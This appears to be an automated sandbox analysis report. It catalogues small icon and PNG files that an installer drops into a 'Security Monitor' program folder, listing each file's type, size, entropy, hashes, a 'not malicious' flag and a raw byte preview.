Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-GI2H6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-H3BUC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-HFABH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-I9S3K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-IHUVN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-ILMP7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-KA5ML.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-KJ09E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-KRID3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-L42H5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-L50OI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-LQULB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-MBMIR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-MOBTF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-ONFO1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-PKKMK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-Q6G01.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-S1IC5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-S9EUK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-TFJD8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
